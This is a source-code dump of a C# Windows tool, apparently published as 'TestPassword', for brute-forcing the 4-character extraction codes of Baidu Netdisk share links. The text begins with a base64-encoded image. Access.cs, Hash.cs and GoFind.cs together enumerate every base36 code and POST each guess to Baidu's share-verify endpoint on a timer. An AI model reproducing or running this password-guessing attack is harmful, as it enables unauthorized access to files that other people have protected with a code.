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
m10LB/oAAAAASUVORK5CYII=
================================================
FILE: TestPassword PRO V1.8.0.4/TestPassword/Program.cs
================================================
using System;
using System.Collections.Generic;
using System.Linq;
using System.Windows.Forms;
namespace zgcwkj
{
static class Program
{
///
/// 应用程序的主入口点。
///
[STAThread]
static void Main()
{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Application.Run(new Main());
}
}
}
================================================
FILE: TestPassword PRO V1.8.0.4/TestPassword/Properties/AssemblyInfo.cs
================================================
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
// 有关程序集的一般信息由以下
// 控制。更改这些特性值可修改
// 与程序集关联的信息。
[assembly: AssemblyTitle("百度网盘分享文件密码测试器")]
[assembly: AssemblyDescription("百度网盘分享文件密码进行无穷测试工具")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("zgcwkj")]
[assembly: AssemblyProduct("百度网盘分享文件密码测试器")]
[assembly: AssemblyCopyright("Copyright © 2018")]
[assembly: AssemblyTrademark("zgcwkj")]
[assembly: AssemblyCulture("")]
//将 ComVisible 设置为 false 将使此程序集中的类型
//对 COM 组件不可见。 如果需要从 COM 访问此程序集中的类型,
//请将此类型的 ComVisible 特性设置为 true。
[assembly: ComVisible(false)]
// 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID
[assembly: Guid("ac42684f-60e0-464c-881d-b679da8d8a7b")]
// 程序集的版本信息由下列四个值组成:
//
// 主版本
// 次版本
// 生成号
// 修订号
//
//可以指定所有这些值,也可以使用“生成号”和“修订号”的默认值,
// 方法是按如下所示使用“*”: :
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.8.0.4")]
[assembly: AssemblyFileVersion("1.8.0.4")]
================================================
FILE: TestPassword PRO V1.8.0.4/TestPassword/Properties/Resources.Designer.cs
================================================
//------------------------------------------------------------------------------
//
// 此代码由工具生成。
// 运行时版本:4.0.30319.42000
//
// 对此文件的更改可能会导致不正确的行为,并且如果
// 重新生成代码,这些更改将会丢失。
//
//------------------------------------------------------------------------------
namespace zgcwkj.Properties {
using System;
///
/// 一个强类型的资源类,用于查找本地化的字符串等。
///
// 此类是由 StronglyTypedResourceBuilder
// 类通过类似于 ResGen 或 Visual Studio 的工具自动生成的。
// 若要添加或移除成员,请编辑 .ResX 文件,然后重新运行 ResGen
// (以 /str 作为命令选项),或重新生成 VS 项目。
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
internal class Resources {
private static global::System.Resources.ResourceManager resourceMan;
private static global::System.Globalization.CultureInfo resourceCulture;
[global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
internal Resources() {
}
///
/// 返回此类使用的缓存的 ResourceManager 实例。
///
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
internal static global::System.Resources.ResourceManager ResourceManager {
get {
if (object.ReferenceEquals(resourceMan, null)) {
global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("zgcwkj.Properties.Resources", typeof(Resources).Assembly);
resourceMan = temp;
}
return resourceMan;
}
}
///
/// 使用此强类型资源类,为所有资源查找
/// 重写当前线程的 CurrentUICulture 属性。
///
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
internal static global::System.Globalization.CultureInfo Culture {
get {
return resourceCulture;
}
set {
resourceCulture = value;
}
}
}
}
================================================
FILE: TestPassword PRO V1.8.0.4/TestPassword/Properties/Resources.resx
================================================
text/microsoft-resx
2.0
System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
================================================
FILE: TestPassword PRO V1.8.0.4/TestPassword/Properties/Settings.Designer.cs
================================================
//------------------------------------------------------------------------------
//
// 此代码由工具生成。
// 运行时版本:4.0.30319.42000
//
// 对此文件的更改可能会导致不正确的行为,并且如果
// 重新生成代码,这些更改将会丢失。
//
//------------------------------------------------------------------------------
namespace zgcwkj.Properties {
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "14.0.0.0")]
internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase {
private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
public static Settings Default {
get {
return defaultInstance;
}
}
}
}
================================================
FILE: TestPassword PRO V1.8.0.4/TestPassword/Properties/Settings.settings
================================================
================================================
FILE: TestPassword PRO V1.8.0.4/TestPassword/StaticClass.cs
================================================
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net;
using System.Text;
namespace zgcwkj
{
///
/// 静态类
///
public static class StaticClass
{
#region 静态字符串
///
/// 线程状态
///
public static bool status { get; set; }
///
/// 目标连接
///
public static string url { get; set; }
///
/// 存放的路径
///
public static string file { get; set; }
#endregion
#region 静态方法
///
/// Get请求
///
public static string HttpGet(string Url)
{
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);
request.Method = "GET";
request.ContentType = "text/html;charset=UTF-8";
try
{
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
StreamReader myStreamReader = new StreamReader(response.GetResponseStream(), Encoding.UTF8);
string retString = myStreamReader.ReadToEnd();
myStreamReader.Close();
return retString;
}
catch (Exception e)
{
return e.Message;
}
}
#endregion
}
}
================================================
FILE: TestPassword PRO V1.8.0.4/TestPassword/TestPassword.csproj
================================================
Debug
AnyCPU
{AC42684F-60E0-464C-881D-B679DA8D8A7B}
WinExe
Properties
zgcwkj
TestPassword
v4.0
512
AnyCPU
true
full
false
bin\Debug\
DEBUG;TRACE
prompt
4
AnyCPU
pdbonly
true
bin\Release\
TRACE
prompt
4
ico.ico
Form
Main.cs
Main.cs
ResXFileCodeGenerator
Resources.Designer.cs
Designer
True
Resources.resx
True
SettingsSingleFileGenerator
Settings.Designer.cs
True
Settings.settings
True
================================================
FILE: TestPassword PRO V1.8.0.4/TestPassword.sln
================================================
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 14
VisualStudioVersion = 14.0.23107.0
MinimumVisualStudioVersion = 10.0.40219.1
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TestPassword", "TestPassword\TestPassword.csproj", "{AC42684F-60E0-464C-881D-B679DA8D8A7B}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{AC42684F-60E0-464C-881D-B679DA8D8A7B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{AC42684F-60E0-464C-881D-B679DA8D8A7B}.Debug|Any CPU.Build.0 = Debug|Any CPU
{AC42684F-60E0-464C-881D-B679DA8D8A7B}.Release|Any CPU.ActiveCfg = Release|Any CPU
{AC42684F-60E0-464C-881D-B679DA8D8A7B}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
================================================
FILE: TestPassword V1.0.0.0/TestPassword/Access.cs
================================================
using System;
using System.IO;
using System.Linq;
using System.Net;
using System.Text;
namespace zgcwkj
{
///
/// 测试访问类
///
public class Access
{
string info = "";//唯一识别文件的值吧
CookieContainer cookie = new CookieContainer();
///
/// 实例测试类
///
/// 访问的链接
public Access(string url)
{
info = "surl=" + url.Replace("https", "").Replace("http", "").Replace("://pan.baidu.com/", "").Replace("share/init?surl=", "").Replace("s/1", "");
}
///
/// 访问网页
///
///
public string Get()
{
return HttpGet("https://pan.baidu.com/share/init?" + info);
}
///
/// 提交密码
///
/// 密码
///
public string Post(string pwd)
{
DateTime time = DateTime.Now;
DateTime startTime = TimeZone.CurrentTimeZone.ToLocalTime(new DateTime(1970, 1, 1, 0, 0, 0, 0));
string ts = ((time.Ticks - startTime.Ticks) / 10000).ToString();
string url = "https://pan.baidu.com/share/verify?" + info + "&t=" + ts.ToString() + "&bdstoken=null&channel=chunlei&clienttype=0&web=1&app_id=123456&logid=MTUwMTEyNDM2OTY5MzAuOTE5NTU5NjQwMTk0NDM0OA==";
string data = "pwd=" + pwd + "&vcode=&vcode_str=";
return HttpPost(url, data);
}
///
/// 请求路径
///
/// 请求的路径
/// 返回请求的网页数据
private string HttpGet(string Url)
{
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);
request.Method = "GET";
request.ContentType = "text/html;charset=UTF-8";
request.CookieContainer = cookie;
try
{
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
StreamReader myStreamReader = new StreamReader(response.GetResponseStream(), Encoding.GetEncoding("utf-8"));
string retString = myStreamReader.ReadToEnd();
myStreamReader.Close();
return retString;
}
catch (Exception e)
{
return e.Message;
}
}
///
/// 提交数据
///
/// 提交的路径
/// 提交的数据
/// 返回结果
private string HttpPost(string Url, string Data)
{
try
{
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);
request.ContentType = "application/x-www-form-urlencoded;charset=UTF-8";
request.Referer = "https://pan.baidu.com/share/init?" + info;
request.ContentLength = Encoding.UTF8.GetByteCount(Data);
request.CookieContainer = cookie;
request.Method = "POST";
Stream myRequestStream = request.GetRequestStream();
byte[] postBytes = Encoding.UTF8.GetBytes(Data);
myRequestStream.Write(postBytes, 0, postBytes.Length);
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
response.Cookies = cookie.GetCookies(response.ResponseUri);
StreamReader myStreamReader = new StreamReader(response.GetResponseStream(), Encoding.GetEncoding("utf-8"));
string retString = myStreamReader.ReadToEnd();
myStreamReader.Close();
return retString;
}
catch (Exception ex)
{
return ex.Message;
}
}
}
}
================================================
FILE: TestPassword V1.0.0.0/TestPassword/GoFind.cs
================================================
using System.IO;
using System.Timers;
namespace zgcwkj
{
public class GoFind
{
Main myMain;//主窗体
int StartValue = 0;//基值
int NumberValue = 0;//剩余次数
public GoFind(Main main, int start, int number, int interval)
{
myMain = main;
StartValue = start;
NumberValue = number;
Timer timer = new Timer(interval);
timer.Elapsed += new ElapsedEventHandler(_Timer);
timer.Start();
}
private void _Timer(object sender, ElapsedEventArgs e)
{
Timer timer = sender as Timer;
if (NumberValue < StartValue || StaticClass.status)
{
timer.Stop();
}
else
{
string password = Hash.Hash2Str(StartValue);
Access access = new Access(StaticClass.url);
myMain.ModifyStr(access.Post(password), password);
StartValue = StartValue + 1;
}
}
}
}
================================================
FILE: TestPassword V1.0.0.0/TestPassword/Hash.cs
================================================
using System;
using System.Linq;
using System.Text;
using System.Collections.Generic;
namespace zgcwkj
{
public static class Hash
{
//哈希类 36进制
//有效哈希[10000000,11679615]
public static string Hash2Str(int hash)
{
string ret = "";
hash -= 10000000;
while (hash > 0)
{
ret += Hash2Char(hash % 36);
hash /= 36;
}
if (ret.Length == 3) ret += "0";//前导零
if (ret.Length == 2) ret += "00";
if (ret.Length == 1) ret += "000";
if (ret.Length == 0) ret += "0000";
return reverse(ret);
}
public static int Str2Hash(string str)
{
int ret = 0;
ret += Char2Hash(str[0]) * 46656;
ret += Char2Hash(str[1]) * 1296;
ret += Char2Hash(str[2]) * 36;
ret += Char2Hash(str[3]);
ret += 10000000;//防止前导零
return ret;
}
private static int Char2Hash(char c)
{
if (c >= '0' && c <= '9') return c - '0';
else return c - 'a' + 10;
}
private static char Hash2Char(int hash)
{
if (hash >= 0 && hash <= 9) return (char)('0' + hash);
else return (char)('a' + hash - 10);
}
private static string reverse(string str)
{
char[] arr = str.ToCharArray();
Array.Reverse(arr);
return new string(arr);
}
}
}
================================================
FILE: TestPassword V1.0.0.0/TestPassword/Main.Designer.cs
================================================
namespace zgcwkj
{
partial class Main
{
///
/// 必需的设计器变量。
///
private System.ComponentModel.IContainer components = null;
///
/// 清理所有正在使用的资源。
///
/// 如果应释放托管资源,为 true;否则为 false。
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows 窗体设计器生成的代码
///
/// 设计器支持所需的方法 - 不要修改
/// 使用代码编辑器修改此方法的内容。
///
private void InitializeComponent()
{
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Main));
this.btn = new System.Windows.Forms.Button();
this.txt_url = new System.Windows.Forms.Label();
this.text_url = new System.Windows.Forms.TextBox();
this.gb_1 = new System.Windows.Forms.GroupBox();
this.text_zxsd = new System.Windows.Forms.TextBox();
this.text_xczs = new System.Windows.Forms.TextBox();
this.txt_zxsd = new System.Windows.Forms.Label();
this.txt_xczs = new System.Windows.Forms.Label();
this.text_jsd = new System.Windows.Forms.TextBox();
this.text_ksd = new System.Windows.Forms.TextBox();
this.txt_jsd = new System.Windows.Forms.Label();
this.txt_ksd = new System.Windows.Forms.Label();
this.txt_ts = new System.Windows.Forms.Label();
this.gb_1.SuspendLayout();
this.SuspendLayout();
//
// btn
//
this.btn.Font = new System.Drawing.Font("宋体", 14.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(134)));
this.btn.ForeColor = System.Drawing.Color.Red;
this.btn.Location = new System.Drawing.Point(333, 48);
this.btn.Name = "btn";
this.btn.Size = new System.Drawing.Size(139, 153);
this.btn.TabIndex = 3;
this.btn.Text = "进行搜查";
this.btn.UseVisualStyleBackColor = true;
